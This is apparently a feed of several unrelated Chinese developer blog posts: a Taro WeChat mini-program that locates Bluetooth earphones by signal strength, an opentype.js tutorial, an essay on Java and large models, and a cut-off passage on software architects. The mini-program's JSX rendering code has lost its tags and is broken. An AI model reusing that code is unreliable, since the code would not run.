蓝牙发现功能是通过设备之间的信号传输进行连接和识别的。当一个蓝牙设备处于开机状态时,它会周期性地广播自己的信号,周围的蓝牙设备可以接收到这些信号并进行配对。这个过程的背后其实是信号的强度和距离的关系。当我们在手机或其他设备上扫描时,能够检测到耳机的存在,但并不能直接告诉我们耳机的具体位置。此时,我们可以通过信号强弱来推测耳机的大概位置。
3. 实现步骤:从构想到实践
有了这个想法后,我决定动手实践。首先,我使用微信小程序作为开发平台,利用其内置的蓝牙接口实现设备扫描功能。具体步骤如下:
- • 环境搭建:选择微信小程序作为平台主要因为其开发简便且自带蓝牙接口支持。
- • 蓝牙接口调用:调用
wx.openBluetoothAdapter
初始化蓝牙模块,确保设备的蓝牙功能开启。 - • 设备扫描:通过
wx.startBluetoothDevicesDiscovery
函数启动设备扫描,并使用wx.onBluetoothDeviceFound
监听扫描结果。 - • 信号强度分析:通过读取蓝牙信号强度(RSSI),结合多次扫描的数据变化,推测设备的距离,最终帮助定位耳机。
在代码的实现过程中,信号强度的变化尤为重要。根据RSSI值的波动,我们可以判断耳机是在靠近还是远离,并通过走动测试信号的变化,逐渐缩小搜索范围。
下面是我使用 Taro 实现的全部代码:import React, { useState, useEffect } from "react";
import Taro, { useReady } from "@tarojs/taro";
import { View, Text } from "@tarojs/components";
import { AtButton, AtIcon, AtProgress, AtList, AtListItem } from "taro-ui";
import "./index.scss";
const BluetoothEarphoneFinder = () => {
const [isSearching, setIsSearching] = useState(false);
const [devices, setDevices] = useState([]);
const [nearestDevice, setNearestDevice] = useState(null);
const [isBluetoothAvailable, setIsBluetoothAvailable] = useState(false);
const [trackedDevice, setTrackedDevice] = useState(null);
useEffect(() => {
if (isSearching) {
startSearch();
} else {
stopSearch();
}
}, [isSearching]);
useEffect(() => {
if (devices.length > 0) {
const nearest = trackedDevice
? devices.find((d) => d.deviceId === trackedDevice.deviceId)
: devices[0];
setNearestDevice(nearest || null);
} else {
setNearestDevice(null);
}
}, [devices, trackedDevice]);
const startSearch = () => {
const startDiscovery = () => {
setIsBluetoothAvailable(true);
Taro.startBluetoothDevicesDiscovery({
success: () => {
Taro.onBluetoothDeviceFound((res) => {
const newDevices = res.devices.map((device) => ({
name: device.name || "未知设备",
deviceId: device.deviceId,
rssi: device.RSSI,
}));
setDevices((prevDevices) => {
const updatedDevices = [...prevDevices];
newDevices.forEach((newDevice) => {
const index = updatedDevices.findIndex(
(d) => d.deviceId === newDevice.deviceId
);
if (index !== -1) {
updatedDevices[index] = newDevice;
} else {
updatedDevices.push(newDevice);
}
});
return updatedDevices.sort((a, b) => b.rssi - a.rssi);
});
});
},
fail: (error) => {
console.error("启动蓝牙设备搜索失败:", error);
Taro.showToast({
title: "搜索失败,请重试",
icon: "none",
});
setIsSearching(false);
},
});
};
Taro.openBluetoothAdapter({
success: startDiscovery,
fail: (error) => {
if (error.errMsg.includes("already opened")) {
startDiscovery();
} else {
console.error("初始化蓝牙适配器失败:", error);
Taro.showToast({
title: "蓝牙初始化失败,请检查蓝牙是否开启",
icon: "none",
});
setIsSearching(false);
setIsBluetoothAvailable(false);
}
},
});
};
const stopSearch = () => {
if (isBluetoothAvailable) {
Taro.stopBluetoothDevicesDiscovery({
complete: () => {
Taro.closeBluetoothAdapter({
complete: () => {
setIsBluetoothAvailable(false);
},
});
},
});
}
};
const getSignalStrength = (rssi) => {
if (rssi >= -50) return 100;
if (rssi <= -100) return 0;
return Math.round(((rssi + 100) / 50) * 100);
};
const getDirectionGuide = (rssi) => {
if (rssi >= -50) return "非常接近!你已经找到了!";
if (rssi >= -70) return "很近了,继续朝这个方向移动!";
if (rssi >= -90) return "正确方向,但还需要继续寻找。";
return "信号较弱,尝试改变方向。";
};
const handleDeviceSelect = (device) => {
setTrackedDevice(device);
Taro.showToast({
title: `正在跟踪: ${device.name}`,
icon: "success",
duration: 2000,
});
};
return (
"bluetooth-finder">
{isSearching && (
"loading-indicator">
"loading-3" size="30" color="#6190E8" />
"loading-text">搜索中...Text>
View>
)}
{nearestDevice && (
"nearest-device">
"device-name">{nearestDevice.name}Text>
{getSignalStrength(nearestDevice.rssi)}
status="progress"
isHidePercent
/>
"direction-guide">
{getDirectionGuide(nearestDevice.rssi)}
Text>
View>
)}
"device-list">
{devices.map((device) => (
{device.deviceId}
title={device.name}
note={`${device.rssi} dBm`}
extraText={
trackedDevice && trackedDevice.deviceId === device.deviceId
? "跟踪中"
: ""
}
arrow="right"
onClick={() => handleDeviceSelect(device)}
/>
))}
AtList>
View>
"action-button">
type="primary"
circle
onClick={() => setIsSearching(!isSearching)}
>
{isSearching ? "停止搜索" : "开始搜索"}
AtButton>
View>
View>
);
};
export default BluetoothEarphoneFinder;
嘿嘿,功夫不负苦心人,我最终通过自己的小程序找到了我的蓝牙耳机。
我将我的小程序发布到了微信小程序上,目前已经通过审核,可以直接使用了。搜索老码宝箱 即可体验。
顺带还加了非常多的小工具,而且里面还有非常多日常可能会用到的工具,有些还非常有意思。
比如
绘制函数图
每日一言
汇率转换(实时)
BMI 计算
简易钢琴
算一卦
这还不是最重要的
最重要的是,这里的工具是会不断增加的,而且,更牛皮的是,你还可以给作者提需求,增加你想要的小工具,作者是非常欢迎一起讨论的。有朝一日,你也希望你的工具也出现在这个小程序上,被千万人使用吧。
4. 实际应用与优化空间
这个小程序的实际效果超出了我的预期。我能够通过它快速找到丢失的耳机,整个过程不到几分钟时间。然而,值得注意的是,由于蓝牙信号会受到环境干扰,例如墙体、金属物等,导致信号强度并不总是精确。在后续的优化中,我计划加入更多的信号处理算法,例如利用三角定位技术,结合多个信号源来提高定位精度。此外,还可以考虑在小程序中加入可视化的信号强度图,帮助用户更直观地了解耳机的大致方位。
一些思考:
蓝牙耳机定位这个小程序的开发,展示了技术在日常生活中的强大应用潜力。虽然这个项目看似简单,但背后的原理和实现过程非常具有教育意义。通过这次尝试,我们可以看到,借助开源技术和简单的编程能力,我们能够解决许多日常生活中的实际问题。
参考资料:
- 微信小程序官方文档:developers.weixin.qq.com
- 蓝牙信号强度(RSSI)与距离关系的研究:http://www.bluetooth.com
- 个人开发者经验分享: 利用蓝牙发现功能定位设备
来源:juejin.cn/post/7423610485180727332
opentype.js 使用与文字渲染
大家好,我是前端西瓜哥。
opentype.js 是一个 JavaScript 库,支持浏览器和 Node.js,可以解析字体文件,拿到字体信息,并提供一些渲染方法。
虽然名字叫做 opentype.js,但除了可以解析 OpenType,也可以解析 TrueType。
支持常见的字体类型,比如 WOFF, OTF, TTF。像是 AutoCAD 的 shx 就不支持了。
本文使用的 opentype.js 版本为 1.3.4
加载文字
加载文件字体为二进制数据,然后使用 opentype.js 解析:
import opentype from 'opentype.js'
const buffer = await fetch('./SourceHanSansCN-Normal.otf').then(
(res) => res.arrayBuffer(),
);
const font = opentype.parse(buffer);
需要注意的是,woff2 字体是用 Brotli 压缩过的文件,需要你额外用解压库做解压。
opentype.js 没有提供对应解压 Brotli 的能力,倒是提供了 Inflate 解压能力,所以可以解析 woff 字体。
font 这个对象保存了很多属性。
比如所有的 glyph(字形)、一些 table(表)、字体的信息(字体名、设计师等)等等。
获取字形(glyph)信息
glyph 为单个需要渲染的字形,是渲染的最小单位。
const glyph = font.charToGlyph('i')
另外 stringToGlyphs
方法会返回一个 glyph 数组。
const glyphs = font.stringToGlyph('abcd');
获取文字轮廓(path)
getPaths 计算得到一段字符串中每个 glyph 的轮廓数据。传入的坐标值为文字的左下角位置和文字大小。
const x = 60;
const y = 60;
const fontSize = 24;
const text = '前端西瓜哥/Ab1';
const textPaths = font.getPaths(text, x, y, fontSize);
textPaths 是一个 path 数组。
字符串长度为 9,产生了 9 个 glyph(字形),所以一共有 9 个 path 对象。
形状的表达使用了经典的 SVG 的 Path 命令,对应着 command 属性。
TrueType 字体的曲线使用二阶贝塞尔曲线(对应 Q 命令);而 OpenType 支持三阶贝塞尔曲线(对应 C 命令)。
渲染
我们有了 Path 数据,就能渲染 SVG 或 Canvas。
当然这个 OpenType.js 专门暴露了方法给我们,不用自己折腾做这层转换实现。
Canvas
基于 Canvas 2D 的方式绘制文字。
const canvas = document.querySelector('canvas');
const ctx = canvas.getContext('2d');
// ...
font.draw(ctx, text, x, y, fontSize);
渲染效果:
如果使用的字体找不到对应的字形,比如只支持英文的字体,但是却想要渲染中文字符。
此时 opentype.js 会帮你显示一个 豆腐块(“tofu” glyph)。豆腐块是取自字体自己设定的 glyph,不同字体的豆腐块还长得不一样,挺有意思的。
辅助点和线
字体是基于直线和贝塞尔曲线控制点形成的轮廓线进行表达的,我们可以绘制字体的控制点:
font.drawPoints(ctx, text, x, y, fontSize);
对文字做度量(metrics)得到尺寸数据。蓝色线为包围盒,绿色线为前进宽度。
font.drawMetrics(ctx, text, x, y, fontSize);
SVG
Path 实例有方法可以转为 SVG 中 Path 的 pathData 字符串。(Glyph 对象也支持这些方法)
path 长这个样子:
"M74.5920 47.6640L74.5920 57.5040L76.1040 57.5040L76.1040 47.6640ZM79.4640 46.9200L79.4640 59.8080C79.4640 60.1440 79.3440 60.2400 78.9600 60.2640C78.5520 60.2880 77.2320 60.2880 75.7440 60.2400C75.9840 60.6720 76.2480 61.3440 76.3200 61.7760Z"
拿到一段字符串对应的 path。
const textPath = font.getPath(text, x, y, fontSize);
const pathData = textPath.toPathData(4); // 4 为小数精度
// 创建 path 元素,指定 d 属性,添加到 SVG 上...
渲染结果。
另外还有一个 getPaths 方法,会返回一个 path 数组,里面是每个 glyph 的 path。
也可以直接拿到一个 path 元素的字符串形式。
path.toSVG(4)
会返回类似这样的字符串:
<path d="M74.5920 47.6640L74.5920 57.5040L76.1040 57.5040L76.1040 47.6640ZM79.4640 46.9200L79.4640 59.8080C79.4640 60.1440 79.3440 60.2400 78.9600 60.2640C78.5520 60.2880 77.2320 60.2880 75.7440 60.2400C75.9840 60.6720 76.2480 61.3440 76.3200 61.7760Z"/>
连字(ligature)
连字(合字、Ligatrue),指的是能够将多个字符组成成一个字符(glyph)。如:
像是 FiraCode 编程字体,该字体会将一些符号进行连字。
opentype.js 虽然说自己支持连字(Support for ligatures),但实际测试发现 API 好像并不会做处理。
用法为:
const textPath = font.getPath(text, x, y, fontSize, {
features: { liga: true },
});
字距(kerning)
两个 glyph 的距离如果为 0,会因为负空间不均匀,导致视觉上的失衡。
此时字体设计师就会额外调整特定 glyph 之间的字距(kerning),使其空间布局保持均衡。如下图:
opentype.js 可以帮我们获取两个 glyph 之间的字距。
const leftGlyph = font.charToGlyph('A');
const rightGlyph = font.charToGlyph('V');
font.getKerningValue(leftGlyph, rightGlyph)
// -15
返回值为 -15。代表右侧的字形 V 需往左移动 15 的距离。
结尾
本文简单介绍了 opentype.js 的一些用法,更多用法可以阅读官方文档。
不过你大概发现里面有某些方法对不上号,应该是迟迟未发布的 2.0.0 版本的文档。所以正确做法是切为 1.3.4 分支阅读 README.md 文档。
我是前端西瓜哥,关注我学习更多前端知识。
来源:juejin.cn/post/7424906244215455780
Java已死,大模型才是未来?
引言
在数字技术的浪潮中,编程语言始终扮演着至关重要的角色。Java,自1995年诞生以来,便以其跨平台的特性和丰富的生态系统,成为了全球范围内开发者们最为青睐的编程语言之一
然而,随着技术的不断进步和新兴语言的崛起,近年来,“Java已死”的论调开始不绝于耳。尤其是在大模型技术迅猛发展的今天,Java的地位似乎更加岌岌可危。然而,事实真的如此吗?Java的春天,真的已经渐行渐远了吗?本文将从多个维度深入探讨Java的现状、大模型技术的影响,以及Java与大模型融合的可能性,为读者提供一个更为全面和深入的视角。
Java的辉煌历史与稳健地位
Java,作为Sun Microsystems在1995年推出的编程语言,一经问世便凭借其独特的跨平台特性和丰富的生态系统,迅速在全球范围内赢得了广泛的认可和应用。从最初的Java Applet,到后来的Java Web开发、Java EE企业级应用,再到如今的Android应用开发、大数据处理等领域,Java都展现出了其强大的生命力和广泛的应用前景。
在最新的TIOBE编程语言排行榜上,Java长期位居前列,这足以证明其在开发界的重要地位。而在中国这个拥有庞大IT市场的国家中,Java更是受到了广泛的关注和追捧。无论是大型企业还是初创公司,Java都成为了其首选的开发语言之一。这背后,是Java的跨平台特性、丰富的库和框架、强大的社区支持等多方面的优势所共同铸就的。
然而,随着技术的不断进步和新兴语言的崛起,Java也面临着一些挑战和质疑。
一些人认为,Java的语法过于繁琐、性能不够优越、新兴语言如Python、Go等更加轻便灵活。这些观点在一定程度上反映了Java在某些方面的不足和局限性。
但是,我们也不能忽视Java在企业级应用、Web开发、大数据处理等领域的深厚积累和广泛应用。这些领域对Java的稳定性和可靠性有着极高的要求,而Java正是凭借其在这方面的优势,赢得了众多企业和开发者的青睐。
大模型技术的崛起与影响
近年来,随着人工智能和机器学习技术的飞速发展,大模型技术逐渐成为了人工智能领域的一大热点,可谓是百家争鸣。大模型技术通过构建庞大的神经网络模型,实现对海量数据的深度学习和处理,从而在各种应用场景中取得了令人瞩目的成果。
在自然语言处理领域,大模型技术通过训练庞大的语言模型,实现了对自然语言的深入理解和生成。这使得机器能够更加智能地处理人类的语言信息,从而实现更加自然和流畅的人机交互。在图像处理领域,大模型技术也展现出了强大的能力。通过训练庞大的卷积神经网络模型,机器能够实现对图像的精准识别和分析,从而在各种应用场景中发挥出巨大的作用。
大模型技术的崛起对软件开发产生了深远的影响。
首先,大模型技术为开发者提供了更加高级别的抽象和智能化解决方案。这使得开发者能够更加专注于核心业务逻辑的实现,而无需过多关注底层技术的细节。其次,大模型技术降低了AI应用的开发门槛。传统的AI应用开发需要深厚的数学和编程基础,而大模型技术则通过提供易于使用的工具和框架,使得开发者能够更加方便地构建和部署AI应用。最后,大模型技术推动了软件开发的智能化升级。从需求分析、设计到开发、测试和维护等各个环节都在经历着智能化的变革,这使得软件开发过程更加高效和智能。
Java与大模型的融合与变革
在大模型技术崛起的背景下,Java作为一种成熟且广泛应用的编程语言,自然也在探索与大模型技术的融合之路。事实上,Java与大模型的融合已经取得了不少进展和成果。
首先,Java社区对于大模型技术的支持和探索已经初见成效。一些开源项目和框架在Java环境中实现了深度学习和大模型技术的支持,如Deeplearning4j、ND4J等。这些项目和框架为Java开发者提供了丰富的工具和资源,使得他们能够更加方便地构建和部署基于大模型的应用。
其次,Java自身的特性和优势也为其与大模型的融合提供了有力的支持。Java作为一种面向对象的语言,具有强大的抽象能力和封装性,这使得它能够更好地处理大模型中的复杂数据结构和算法。同时,Java的跨平台特性也使得基于Java的大模型应用能够在不同的操作系统和硬件平台上运行,从而提高了应用的兼容性和可移植性。
最后,Java与大模型的融合也推动了软件开发的智能化升级。在需求分析阶段,大模型技术可以通过对海量数据的学习和分析,帮助开发者更加准确地把握用户需求和市场趋势。在设计阶段,大模型技术可以通过对已有设计的分析和优化,提高设计的合理性和效率。在开发阶段,大模型技术可以为开发者提供智能化的编程辅助和错误检查功能,从而提高开发效率和代码质量。在测试和维护阶段,大模型技术可以通过对应用的持续监控和分析,及时发现和修复潜在的问题和缺陷。
未来趋势与展望
随着AI和机器学习技术的不断发展,大模型技术将在未来继续发挥重要的作用。而Java作为一种成熟且广泛应用的编程语言,也将继续在大模型时代发挥其独特的优势和作用。
首先,Java将继续优化其性能和语法,提高开发者的开发效率和代码质量。同时,Java还将加强对大模型技术的支持和整合,为开发者提供更加全面和强大的工具和框架。
其次,Java将与更多新兴技术进行融合和创新。例如,随着云计算和边缘计算的兴起,Java将加强与这些技术的融合,推动云计算和边缘计算应用的发展。此外,Java还将与物联网、区块链等新兴技术进行深度融合,开拓新的应用领域和市场空间。
最后,Java将继续发挥其在企业级应用、Web开发、大数据处理等领域的优势,为各行各业提供更加稳定、可靠、安全的解决方案。同时,Java也将积极拥抱开源文化和社区文化,与全球开发者共同推动Java生态系统的繁荣和发展。
总之,Java作为一种历久弥新的编程语言巨头,将在大模型时代继续发挥其独特的优势和作用。通过与大模型技术的深度融合与创新,Java将引领编程世界的潮流,为各行各业带来更加智能化和自动化的解决方案。让我们共同期待Java在未来的辉煌!
写在最后
我不禁要感慨Java这一编程语言的深厚底蕴和持久魅力。它不仅是一段技术史,更是无数开发者智慧与汗水的结晶。在大模型时代,Java也会以其独特的稳定性和可靠性,持续为各行各业提供着坚实的支撑。正如历史的河流永不停息,Java也在不断地进化与创新,与新兴技术深度融合,共同推动着科技发展的浪潮。让我们携手前行,继续书写Java的辉煌篇章,为构建更加智能、更加美好的未来贡献力量。
来源:juejin.cn/post/7419967609451675700
架构师之道:为什么需要架构师
在聊架构师这个角色之前,我们得先搞清楚一件事:行业里对这个职位的看法其实挺模糊的。回顾一下,过去在一些大公司,有那么一段时间,架构师被视作一个专职的角色。但现在,情况有所变化,这个称呼渐渐退回到了“工程师”、“专家”或“研究员”这类更加技术性的职位名称里。换句话说,那些曾经被冠以“架构师”头衔的人,现在可能更多的是以工程师或研究的身份出现。
但这并不意味着架构师这个角色就消失了。事实上,在我的个人工作经验中,遇到的所谓“架构师”五花八门。特别是在一些小团队中,项目经理可能也会自封为架构师。这里的“架构师”,更多的时候不是一个官方职位,而是根据项目需要,某人暂时扮演的一个角色。
如果你想了解架构师到底是什么,先得接受一个事实:在当前的技术领域,架构师这个角色还没有一个清晰且统一的定义。它更像是一个根据项目情况变化的角色,而不是一个固定的职业路径。这也就意味着,成为一个架构师,与其说是达到某个职位的高度,不如说是在特定情境下,扮演的一个必要角色。
1、架构师的定义
架构师:任何复杂结构的设计人员。
架构师这个概念是从建筑业借鉴过来的。实际上,如果我们将“Software Architect”直译成中文,它意味着“软件建筑师”。这不仅仅是一个简单的名字借用;在很多方面,软件架构师的角色确实与建筑师有着相似之处。为了深入理解这种联系,我曾经翻阅了不少关于建筑设计的书籍(比如,《建筑的永恒之道》是一本极好的参考资料),通过这些学习,我发现软件架构与建筑设计之间不仅有着历史上的联系,它们的发展轨迹在某些方面也可能朝着相同的方向前进。
- 一脉相承:无论是传统的建筑师还是现代的软件架构师,他们的核心职责都是为了构建一个宏大的设计蓝图,确保在需求方和实施团队之间架起一座沟通的桥梁。
- **分道扬镳:**这种分歧主要是因为两个领域发展阶段的不同。建筑行业有数千年的实践历史和几百年的理论基础,已经发展成为一个高度模式化的领域。相比之下,软件架构作为一个领域的历史还不足二十年,仍然处于快速发展和变化之中。在这个阶段,软件架构师更多的是关注于技术的选择和实现方式,而不是设计的美感,这也是为什么软件架构师通常被看作是高级工程师,而不是设计师。
- 殊途同归:尽管如此,计算机科学的发展历程也证明了技术的持续抽象和模式化。从面向服务的架构(SOA)到物联网(IoT),再到“如果这个,那么那个”(IFTTT)的编程理念,我们已经开始看到软件领域向着建筑业已经达到的模块化水平迈进。随着技术的发展,软件架构师的工作越来越多地涉及到决定“要做什么”,而不仅仅是“怎么做”。这种变化预示着,未来软件架构师可能真正成为一个关注设计本身的职业,大学中甚至可能开设专门的“软件架构”专业。
当然,要实现这样的转变,我们这一代技术人员面临着巨大的挑战。我们需要像建筑行业的先驱那样,不断地规范化技术实践,形成设计模式,同时还需要建立一套既考虑架构美学又不忽视功能设计的统一标准。这是一条漫长而艰难的道路,但正如建筑领域所展现的那样,通过不懈努力,最终能够达到的成就是无限的。
2、架构师的职责
在软件行业的早期,"架构师"这个职位并不存在。那时候,大家都是程序员,也许会有一个领头的,称之为"主程序员"。但随着时间的推移,计算机技术飞速发展,软件开始渗透到生活的方方面面,不仅覆盖面广,而且复杂度大增。现在,拥有数百万甚至数千万行代码的软件系统已经变得司空见惯。随着软件日益复杂,开发者面临的挑战也与日俱增,因为人脑处理信息的能力终究是有限的。为了应对这些挑战,软件开发工具和方法也在不断进化,从汇编语言到高级编程语言,从基本的函数编程到复杂的框架,从面向过程到面向对象,从设计模式到架构模式,这一切都在展示着人类在软件工具开发上不断追求"封装"和"抽象"。
在这个抽象和封装的进程中,架构设计可谓达到了顶峰。作为架构师,不再需要过分纠结于编程语言、函数或设计模式等具体细节,而是要从一个更高的视角,全面考虑整个软件系统的设计,确保技术方案的合理性、需求的完整实现,以及与商业目标的契合度——这些构成了架构师的技术职责。
随着行业的不断发展,软件项目参与的角色和人员也变得越来越多样化,不仅仅局限于程序员和需求方,还扩展到了技术、产品、设计、商务、项目管理等多个团队。同时,技术团队内部的分工也越发细化,形成了前端、后端、测试、运维、技术支持等多个专业领域。在这种背景下,架构师成为了技术团队与产品、设计等非技术团队之间的桥梁,负责协调不同团队间的沟通,确保技术与业务的有效结合。作为技术团队的领导者,架构师需要勾画出整个项目的蓝图,明确各个环节的边界,引导各个专业领域的团队成员协同工作,共同完成软件系统的构建和发布——这就是架构师的组织职责。
2.1、架构师的技术职责
讨论软件架构师和建筑师的角色时,我们常常会发现两者之间存在着引人入胜的相似性和关键性的差异。这种比较不仅帮助我们理解软件架构师的角色,还揭示了软件开发过程中的独特挑战和机遇。
让我们来看看那两个在建筑领域根深蒂固,但在软件架构界至少目前不完全适用的基本理念:
- 职业路径的差异:在建筑领域,成为一名建筑设计师通常不需要经历建筑工人或工程师的角色。相反,软件架构师的成长路径几乎总是从软件工程师开始的,通过深入实践中积累经验和技术深度,逐渐演化成为能够担当架构设计重任的专家。这种差异反映了软件行业对于实际编码和项目经验的高度重视。
- 职责范围的差异:建筑学与工程学之间存在明确的分工——建筑师负责概念化设计,即决定要建造什么,而工程师解决实现问题,即如何建造。软件架构师则通常需要兼顾这两方面,他们不仅定义软件的功能和外观,还必须深入到技术实现的关键部分,确保设计的可行性和实用性。
这两个差异引出了软件架构师的三大技术职责,主要分为三大块:抽象设计、非功能设计以及关键技术设计。每一项都对成功的软件开发至关重要。
抽象设计的艺术:架构师的任务是在不同的抽象层次上自由地分析需求,每个层次或视角都为我们提供了一个独特的视图。这些视图不仅相互验证,而且共同组成了一个完整的设计蓝图。抽象设计可以从两个维度来看:
- 垂直维度:这里我们从顶层的企业架构到底层的系统架构,分别关注不同层面的需求和决策。比如,CTO更关心企业架构,因为它关系到公司整体的IT战略方向;产品经理和运维团队则更关注应用架构,涉及产品的业务流程和部署问题;而研发团队则深入到系统架构,专注于具体系统的设计和框架。
- 水平维度:针对特定业务,架构设计可以进一步细化为业务架构、数据架构、技术架构和应用架构。这些视角涵盖了从业务流程分析到技术选型的全方位设计。架构师和产品经理合作确定业务的核心领域模型;数据架构师设计数据模型;技术架构师选定技术栈;应用架构师规划应用的架构布局。
这样的划分使得每个角色都能在其专业领域内发挥最大的作用,同时确保整体设计的协调一致。架构设计的目的是为了确保技术解决方案能够精准地匹配业务需求,正如不同类型的桥梁设计师面对的挑战各不相同,软件架构的设计也需要根据业务领域的特性来定制。每个业务领域的独特性要求架构设计必须具有灵活性和创新性,以实现最佳的业务支持。
非功能需求的分析:架构的真正价值体现在对非功能性需求的满足上。这不仅仅是关于软件能做什么,更重要的是它如何做得好。我们谈到的非功能性需求包括软件系统的可靠性、扩展性、可测性、数据一致性、安全性和性能等方面。在真实世界的约束条件下,如成本、运行环境的限制,往往难以同时满足所有这些需求。
这就要求架构师进行精细的权衡。例如,在算法设计中可能需要在时间和空间之间做出选择,或者在系统性能和可靠性之间找到平衡点。有时,这种权衡甚至触及到学术领域,例如CAP理论就是关于在一致性、可用性和分区容错性之间做权衡的经典案例。架构师的工作就是在这些多维度的需求中找到最优解,确保系统在满足核心需求的同时,保持良好的性能和可用性。
关键技术设计:架构师的角色并不仅限于宏观设计。正如建筑师不仅关心建筑的整体外观,还会深入到细节设计一样,软件架构师也需要关注那些对系统整体质量有重大影响的关键技术细节。拿高迪的巴塞罗那圣家堂为例,连一把椅子的设计都不放过,每个细节都被赋予了深思熟虑的考虑。
在软件架构中,这意味着对系统中的关键组件进行详尽的设计,不仅是功能实现,更包括如何实现这些功能的具体技术选型、性能优化、安全策略等。架构师需要深入到系统的内部,确保每一个关键点都经得起考验,无论是在系统扩展、数据处理还是安全性方面。通过这样的细节关注,架构师确保软件不仅在今天有效,也能面对未来的挑战。
2.2、架构师的组织职责
架构师,作为企业中的一个核心角色,担当着“边界人”的重要职责。他们不仅是技术决策的制定者,也是不同角色和团队之间沟通协调的桥梁。
架构师与业务、产品团队的合作
在现实世界里,每个软件系统背后都有一个问题需要解决。简单地说,这就是软件存在的理由。但问题的解决并不只是随便写写代码就行,而是需要深入理解业务本身。这就是为什么,当一个软件的商业模式明确后,架构师要和业务、产品团队紧密地工作在一起。他们的目标是什么呢?是确定软件系统应该如何支撑业务,也就是说,他们需要设计出一个既能解决当前问题,又能支持未来业务发展的架构和领域模型。
这里的“架构”和“领域模型”其实就是把复杂的业务逻辑分解成一个个更容易理解和实施的部分。这种分解的好坏,直接影响到软件是否只能解决眼前的问题,还是能成为一个真正能随着业务成长的产品。
但要注意,业务和产品团队与架构师之间的关系并不总是那么简单。他们既是合作伙伴,又可能是谈判桌上的对手,尤其是在外包项目中。这时,架构师的角色不仅仅是技术决策者,更是需要在业务需求和技术实现之间找到平衡点的关键人物。简而言之,架构师的任务是确保软件既能满足当前的业务需求,又能灵活适应未来的发展。
架构师与技术团队的合作
在与技术团队的合作中,架构师的角色不仅仅是技术的引领者,更是团队合作的枢纽和策略制定者。直接切入重点,我们看到架构师在研发阶段的作用不仅限于构建技术框架和确定开发边界,还包括对项目中关键的非功能性需求——比如系统的性能、可靠性和安全性——进行精准的设计和实现。这意味着架构师不仅需要具备宏观的视野,将不同的研发团队和业务领域有序地编织在一起,还需要深入到技术细节中,亲自确保这些非功能需求能够得到满足。
在部署阶段,架构师与运维团队的合作变得尤为关键。他们需要共同评估如何在确保系统满足所有预定非功能需求的同时,实现成本和性能的最优平衡。这涉及到复杂的决策过程,如选择合适的硬件资源、决定是否采用CDN以提高性能、如何确保系统的高可靠性以及部署安全策略等。架构师在这一过程中扮演的是策略家和协调者的角色,旨在设计出一个既经济又高效的部署方案。
站在技术团队的角度,架构师的定位呈现出一种动态平衡。一方面,深耕于技术团队让架构师能够更深入地理解产品和业务需求,从而做出更加精准的技术设计和决策。另一方面,保持适当的独立和客观视角使得架构师能够从更宏观的层面审视和规划软件架构,避免过分陷入具体技术细节而失去整体的协调和控制。架构师需要在深入与独立之间找到合适的定位,确保既不脱离技术团队的实际,又能保持必要的全局视角。
除了技术设计和决策,架构师还承担着重要的组织职能——团队培养。架构师通过制定关键技术方案,不仅展示了技术领导力,还为团队成员提供了学习和成长的机会。这要求架构师既要有足够的技术洞察力亲自解决核心问题,又要给予团队足够的空间和信任,让他们在实践中学习和成长,即使这意味着需要承担一定的风险和责任。架构师的这一角色不仅是技术领导者,更是教练和导师,引导团队不断前进,提升技术实力。
综上所述,架构师与技术团队的协作是一场精心设计的平衡游戏,需要架构师在保证技术先进性和系统稳定性的同时,促进团队的协作与成长。架构师必须在技术的深度与广度、团队内部与外部的定位、以及领导与培养之间精准把握,以确保既能实现高效的技术创新,又能维护和促进团队的整体协作和发展。
和其他角色的协作
想象一下,一个架构师不仅仅是坐在电脑前写代码的技术人员,他其实更像是一个大指挥官。他的任务是什么呢?是确保软件项目从开始到结束都能顺利进行。这听起来简单,实际上却涉及到很多方面。
架构师需要和谁合作?首先是产品和技术团队,这个不用说,毕竟软件是由他们一起打造的。但这还不够,架构师还要和项目经理合作,确保项目按时按质完成。还有外部客户,他们是软件的最终用户,架构师需要理解他们的需求。甚至连公司财务部门也逃不过架构师的合作名单,毕竟软件项目的预算和成本也是非常关键的部分。
架构师的角色远不止是技术实施那么简单,他必须与所有相关方保持沟通和协调,从技术方案的角度出发,确保每个人的需求都得到满足。这就是架构师作为技术方案总负责人的真正含义:他是连接所有点的线,确保这些点能够形成一个完整的、成功的项目。
如何沟通
沟通是团队合作的基石,而对于架构师来说,沟通的艺术不仅仅是说话和写字那么简单。他们需要的是一种更高效、更直观的沟通方式——图表。为什么呢?因为图表能够跨越语言和专业的界限,让复杂的概念变得易于理解。
对不同的团队,架构师使用不同的图表作为沟通工具。比如,和产品团队沟通时,架构师会用业务架构图、用例图和领域模型图来说明软件要解决的业务问题和如何解决。这些图表帮助产品团队理解软件的业务价值和功能范围。
当转向研发团队,架构师则切换到应用架构图、组件图和时序图。这些工具帮助研发人员把握软件的内部结构和各部分如何协同工作。
对于运维团队,架构师又会用部署架构图来说明软件如何在实际环境中部署和运行。这样运维团队就能更好地理解和准备所需的资源和配置。
图表的力量在于它们提供了一个共同的语言,让所有人都能理解软件的设计和运作原理,无论他们的专业背景如何。同时,图表还能将设计文档化,便于传承和未来参考,确保软件的长期成功。简而言之,架构师通过使用图表作为沟通的桥梁,不仅促进了团队之间的理解和合作,也为软件的成功奠定了基础。
3、架构师的成长
在探讨架构师的角色时,我们首先要明确一点:架构师的职责直接定义了他们必须具备的能力。这意味着,作为架构师,不仅需要掌握广泛的技术知识,成为一个全面的技术专家,同时还要精通沟通与协作技巧。这样的定位要求架构师在技术领域有深入的理解和广泛的视野,能够看到技术如何服务于业务目标;另一方面,他们还需要具备出色的人际交往能力,能够有效地与团队成员、利益相关者进行沟通和协作,确保技术解决方案的顺利实施。简而言之,架构师的角色是技术与沟通能力的完美结合体,他们在将复杂概念分解成易于理解的部分方面发挥着关键作用,确保所有人都能跟上项目的进展。
所以,如果我们要总结架构师成长的路径,其实可以看作是两个主要方向:
3.1、技术层面
作为架构师,你的主战场是抽象建模,但战斗前的准备不能少,那就是深入了解你的业务领域。只有当你对业务有深刻的理解时,你才能高效地进行抽象和建模,并能够提炼出通用的设计方法。回想起几年前,我看到我们公司首席架构师的书单时,明白了这一点。尽管我们那时仅是金融领域边缘的一家支付公司,他的书单上却涵盖了银彳亍卡组织介绍、零售银行业务分析等领域。
